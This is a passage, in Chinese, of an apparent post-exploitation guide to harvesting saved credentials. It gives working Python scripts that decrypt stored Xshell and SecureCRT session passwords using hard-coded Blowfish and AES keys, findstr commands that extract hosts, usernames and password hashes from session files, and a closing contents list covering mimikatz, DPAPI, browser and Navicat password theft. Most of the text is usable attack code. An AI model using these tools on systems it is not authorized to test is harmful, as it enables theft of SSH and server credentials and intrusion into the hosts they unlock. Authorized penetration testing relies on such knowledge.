            except UnicodeDecodeError:
                cfg.read(filepath, encoding="utf-16")

            try:
                if f.endswith(".xsh"):
                    host = "{}:{}".format(cfg["CONNECTION"]["Host"], cfg["CONNECTION"]["Port"])
                    username = cfg["CONNECTION:AUTHENTICATION"]["UserName"]
                    password = decrypt_string(args.sid, cfg["CONNECTION:AUTHENTICATION"]["Password"])
                else:
                    host = "{}:{}".format(cfg["Connection"]["Host"], cfg["Connection"]["Port"])
                    username = cfg["Connection"]["UserName"]
                    password = decrypt_string(args.sid, cfg["Connection"]["Password"])
                print(
                    f"{filepath:=^100}\nHost:     {host}\nUsername: {username}\nPassword: {password}")
            except Exception as e:
                print(f"{filepath:=^100}\nError:{e}")

Xshell 7

这个版本目前我没有找到解密方式，只能使用比较蠢的方式

SecureCRT密码

保存位置如下，绿色版本的话在下载的文件夹中
版本路径
全版本通用 %APPDATA%\VanDyke\Config\Sessions

小于7.X版本

把*.ini文件拉取下来直接使用脚本解密，这个版本没有测试过

python



#!/usr/bin/env python
#

# Decrypt SSHv2 passwords stored in VanDyke SecureCRT session files
# Can be found on Windows in:
#   %APPDATA%\VanDyke\Config\Sessions\sessionname.ini
# Tested with version 7.2.6 (build 606) for Windows
# Eloi Vanderbeken - Synacktiv
#  Decrypt SSHv2 passwords stored in VanDyke SecureCRT

# C:\>python SecureCRT-decryptpass.py -h
# usage: SecureCRT-decryptpass.py [-h] files [files ...]
#
#Tool to decrypt SSHv2 passwords in VanDyke Secure CRT session files
#
#positional arguments:
#  files       session file(s)
#
#optional arguments:
#  -h, --help  show this help message and exit
#
# C:\>python SecureCRT-decryptpass.py C:\Users\user1\AppData\Roaming\VanDyke\Config\Sessions\192.168.0.1.ini
# C:\Users\user1\AppData\Roaming\VanDyke\Config\Sessions\192.168.0.1.ini
# ssh -p 22 user@192.168.0.1 # 123456


from Crypto.Cipher import Blowfish
import argparse
import re

def decrypt(password) :
    c1 = Blowfish.new('5F B0 45 A2 94 17 D9 16 C6 C6 A2 FF 06 41 82 B7'.replace(' ','').decode('hex'), Blowfish.MODE_CBC, '\x00'*8)
    c2 = Blowfish.new('24 A6 3D DE 5B D3 B3 82 9C 7E 06 F4 08 16 AA 07'.replace(' ','').decode('hex'), Blowfish.MODE_CBC, '\x00'*8)
    padded = c1.decrypt(c2.decrypt(password.decode('hex'))[4:-4])
    p = ''
    while padded[:2] != '\x00\x00' :
        p += padded[:2]
        padded = padded[2:]
    return p.decode('UTF-16')

REGEX_HOSTNAME = re.compile(ur'S:"Hostname"=([^\r\n]*)')
REGEX_PASWORD = re.compile(ur'S:"Password"=u([0-9a-f]+)')
REGEX_PORT = re.compile(ur'D:"\[SSH2\] Port"=([0-9a-f]{8})')
REGEX_USERNAME = re.compile(ur'S:"Username"=([^\r\n]*)')

def hostname(x) :
    m = REGEX_HOSTNAME.search(x)
    if m :
        return m.group(1)
    return '???'

def password(x) :
    m = REGEX_PASWORD.search(x)
    if m :
        return decrypt(m.group(1))
    return '???'

def port(x) :
    m = REGEX_PORT.search(x)
    if m :
        return '-p %d '%(int(m.group(1), 16))
    return ''

def username(x) :
    m = REGEX_USERNAME.search(x)
    if m :
        return m.group(1) + '@'
    return ''

parser = argparse.ArgumentParser(description='Tool to decrypt SSHv2 passwords in VanDyke Secure CRT session files')
parser.add_argument('files', type=argparse.FileType('r'), nargs='+',
    help='session file(s)')

args = parser.parse_args()

for f in args.files :
    c = f.read().replace('\x00', '')
    print f.name
    print "ssh %s%s%s # %s"%(port(c), username(c), hostname(c), password(c))

7.X版本

进入目录提取文件中的连接IP、端口、账号、hash

plaintext

1	findstr /si /c:"Hostname" /c:"\"Username\"=" /c:"\"Password\"=" /c:"\"[SSH2] Port\"=" *.ini

然后使用脚本进行解密

python

1 2	#注意去除hash的第一位 "u" python3 SecureCRT.py dec hash

解密脚本

python

#!/usr/bin/env python3
import os
from Crypto.Hash import SHA256
from Crypto.Cipher import AES, Blowfish

class SecureCRTCrypto:

    def __init__(self):
        '''
        Initialize SecureCRTCrypto object.
        '''
        self.IV = b'\x00' * Blowfish.block_size
        self.Key1 = b'\x24\xA6\x3D\xDE\x5B\xD3\xB3\x82\x9C\x7E\x06\xF4\x08\x16\xAA\x07'
        self.Key2 = b'\x5F\xB0\x45\xA2\x94\x17\xD9\x16\xC6\xC6\xA2\xFF\x06\x41\x82\xB7'

    def Encrypt(self, Plaintext : str):
        '''
        Encrypt plaintext and return corresponding ciphertext.

        Args:
            Plaintext: A string that will be encrypted.

        Returns:
            Hexlified ciphertext string.
        '''
        plain_bytes = Plaintext.encode('utf-16-le')
        plain_bytes += b'\x00\x00'
        padded_plain_bytes = plain_bytes + os.urandom(Blowfish.block_size - len(plain_bytes) % Blowfish.block_size)

        cipher1 = Blowfish.new(self.Key1, Blowfish.MODE_CBC, iv = self.IV)
        cipher2 = Blowfish.new(self.Key2, Blowfish.MODE_CBC, iv = self.IV)
        return cipher1.encrypt(os.urandom(4) + cipher2.encrypt(padded_plain_bytes) + os.urandom(4)).hex()

    def Decrypt(self, Ciphertext : str):
        '''
        Decrypt ciphertext and return corresponding plaintext.

        Args:
            Ciphertext: A hex string that will be decrypted.

        Returns:
            Plaintext string.
        '''

        cipher1 = Blowfish.new(self.Key1, Blowfish.MODE_CBC, iv = self.IV)
        cipher2 = Blowfish.new(self.Key2, Blowfish.MODE_CBC, iv = self.IV)
        ciphered_bytes = bytes.fromhex(Ciphertext)
        if len(ciphered_bytes) <= 8:
            raise ValueError('Invalid Ciphertext.')
        
        padded_plain_bytes = cipher2.decrypt(cipher1.decrypt(ciphered_bytes)[4:-4])
        
        i = 0
        for i in range(0, len(padded_plain_bytes), 2):
            if padded_plain_bytes[i] == 0 and padded_plain_bytes[i + 1] == 0:
                break
        plain_bytes = padded_plain_bytes[0:i]

        try:
            return plain_bytes.decode('utf-16-le')
        except UnicodeDecodeError:
            raise(ValueError('Invalid Ciphertext.'))

class SecureCRTCryptoV2:

    def __init__(self, ConfigPassphrase : str = ''):
        '''
        Initialize SecureCRTCryptoV2 object.

        Args:
            ConfigPassphrase: The config passphrase that SecureCRT uses. Leave it empty if config passphrase is not set.
        '''
        self.IV = b'\x00' * AES.block_size
        self.Key = SHA256.new(ConfigPassphrase.encode('utf-8')).digest()

    def Encrypt(self, Plaintext : str):
        '''
        Encrypt plaintext and return corresponding ciphertext.

        Args:
            Plaintext: A string that will be encrypted.

        Returns:
            Hexlified ciphertext string.
        '''
        plain_bytes = Plaintext.encode('utf-8')
        if len(plain_bytes) > 0xffffffff:
            raise OverflowError('Plaintext is too long.')
        
        plain_bytes = \
            len(plain_bytes).to_bytes(4, 'little') + \
            plain_bytes + \
            SHA256.new(plain_bytes).digest()
        padded_plain_bytes = \
            plain_bytes + \
            os.urandom(AES.block_size - len(plain_bytes) % AES.block_size)
        cipher = AES.new(self.Key, AES.MODE_CBC, iv = self.IV)
        return cipher.encrypt(padded_plain_bytes).hex()

    def Decrypt(self, Ciphertext : str):
        '''
        Decrypt ciphertext and return corresponding plaintext.

        Args:
            Ciphertext: A hex string that will be decrypted.

        Returns:
            Plaintext string.
        '''
        cipher = AES.new(self.Key, AES.MODE_CBC, iv = self.IV)
        padded_plain_bytes = cipher.decrypt(bytes.fromhex(Ciphertext))
        
        plain_bytes_length = int.from_bytes(padded_plain_bytes[0:4], 'little')
        plain_bytes = padded_plain_bytes[4:4 + plain_bytes_length]
        if len(plain_bytes) != plain_bytes_length:
            raise ValueError('Invalid Ciphertext.')

        plain_bytes_digest = padded_plain_bytes[4 + plain_bytes_length:4 + plain_bytes_length + SHA256.digest_size]
        if len(plain_bytes_digest) != SHA256.digest_size:
            raise ValueError('Invalid Ciphertext.')

        if SHA256.new(plain_bytes).digest() != plain_bytes_digest:
            raise ValueError('Invalid Ciphertext.')

        return plain_bytes.decode('utf-8')

if __name__ == '__main__':
    import sys

    def Help():
        print('Usage:')
        print('    SecureCRTCipher.py <enc|dec> [-v2] [-p ConfigPassphrase] <plaintext|ciphertext>')
        print('')
        print('    <enc|dec>              "enc" for encryption, "dec" for decryption.')
        print('                           This parameter must be specified.')
        print('')
        print('    [-v2]                  Encrypt/Decrypt with "Password V2" algorithm.')
        print('                           This parameter is optional.')
        print('')
        print('    [-p ConfigPassphrase]  The config passphrase that SecureCRT uses.')
        print('                           This parameter is optional.')
        print('')
        print('    <plaintext|ciphertext> Plaintext string or ciphertext string.')
        print('                           NOTICE: Ciphertext string must be a hex string.')
        print('                           This parameter must be specified.')
        print('')
    
    def EncryptionRoutine(UseV2 : bool, ConfigPassphrase : str, Plaintext : str):
        try:
            if UseV2:
                print(SecureCRTCryptoV2(ConfigPassphrase).Encrypt(Plaintext))
            else:
                print(SecureCRTCrypto().Encrypt(Plaintext))
            return True
        except:
            print('Error: Failed to encrypt.')
            return False

    def DecryptionRoutine(UseV2 : bool, ConfigPassphrase : str, Ciphertext : str):
        try:
            if UseV2:
                print(SecureCRTCryptoV2(ConfigPassphrase).Decrypt(Ciphertext))
            else:
                print(SecureCRTCrypto().Decrypt(Ciphertext))
            return True
        except:
            print('Error: Failed to decrypt.')
            return False

    def Main(argc : int, argv : list):
        if 3 <= argc and argc <= 6:
            bUseV2 = False
            ConfigPassphrase = ''

            if argv[1].lower() == 'enc':
                bEncrypt = True
            elif argv[1].lower() == 'dec':
                bEncrypt = False
            else:
                Help()
                return -1
            
            i = 2
            while i < argc - 1:
                if argv[i].lower() == '-v2':
                    bUseV2 = True
                    i += 1
                elif argv[i].lower() == '-p' and i + 1 < argc - 1:
                    ConfigPassphrase = argv[i + 1]
                    i += 2
                else:
                    Help()
                    return -1

            if bUseV2 == False and len(ConfigPassphrase) != 0:
                print('Error: ConfigPassphrase is not supported if "-v2" is not specified')
                return -1

            if bEncrypt:
                return 0 if EncryptionRoutine(bUseV2, ConfigPassphrase, argv[-1]) else -1
            else:
                return 0 if DecryptionRoutine(bUseV2, ConfigPassphrase, argv[-1]) else -1
        else:
            Help()

    exit(Main(len(sys.argv), sys.argv))

8.X版本

进入目录提取文件中的连接IP、端口、账号、hash

plaintext

1	findstr /si /c:"Hostname" /c:"\"Username\"=" /c:"\"Password V2\"=" /c:"\"[SSH2] Port\"=" *.ini

然后使用上面脚本解密

python

1 2	#注意去除hash的前面三位 "02:" python3 SecureCRT.py dec -v2 hash

系统密码

DPAPI解密

本机密码

通过注册列表抓取密码

通过mimikatz抓取密码

浏览器密码

Chrome浏览器数据

A用户解A的chrome密码

B用户解A的chrome密码

IE 浏览器数据

数据库密码

Navicat密码

不能RDP连接到机器

SSH密码

Xshell密码

Xshell 5&Xshell 6

Xshell 7

SecureCRT密码

小于7.X版本

7.X版本

8.X版本

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